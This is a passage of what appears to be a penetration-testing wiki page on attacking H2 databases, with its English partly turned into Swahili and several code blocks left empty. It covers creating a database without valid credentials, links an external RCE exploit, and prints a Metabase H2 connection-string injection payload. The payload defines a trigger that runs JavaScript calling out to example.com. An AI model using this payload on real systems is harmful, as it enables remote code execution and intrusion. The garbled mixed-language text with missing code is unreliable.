You can indicate a **jina la database lisilopo** in order to **kuunda database mpya bila credentials halali** (**bila uthibitisho**):

|
|
|
|
Or if you know that for example a **mysql inafanya kazi** and you know the **jina la database** and the **credentials** for that database, you can just access it:

## **RCE**
|
|
|
|
Having access to communicate with the H2 database check this exploit to get RCE on it: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)

## H2 SQL Injection to RCE
|
|
|
|
In [**this post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) a payload is explained to get **RCE kupitia database ya H2** abusing a **SQL Injection**.
|
|
```json
|
|
[...]
|
|
"details":
|
|
{
|
|
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
|
|
"advanced-options": false,
|
|
"ssl": true
|
|
},
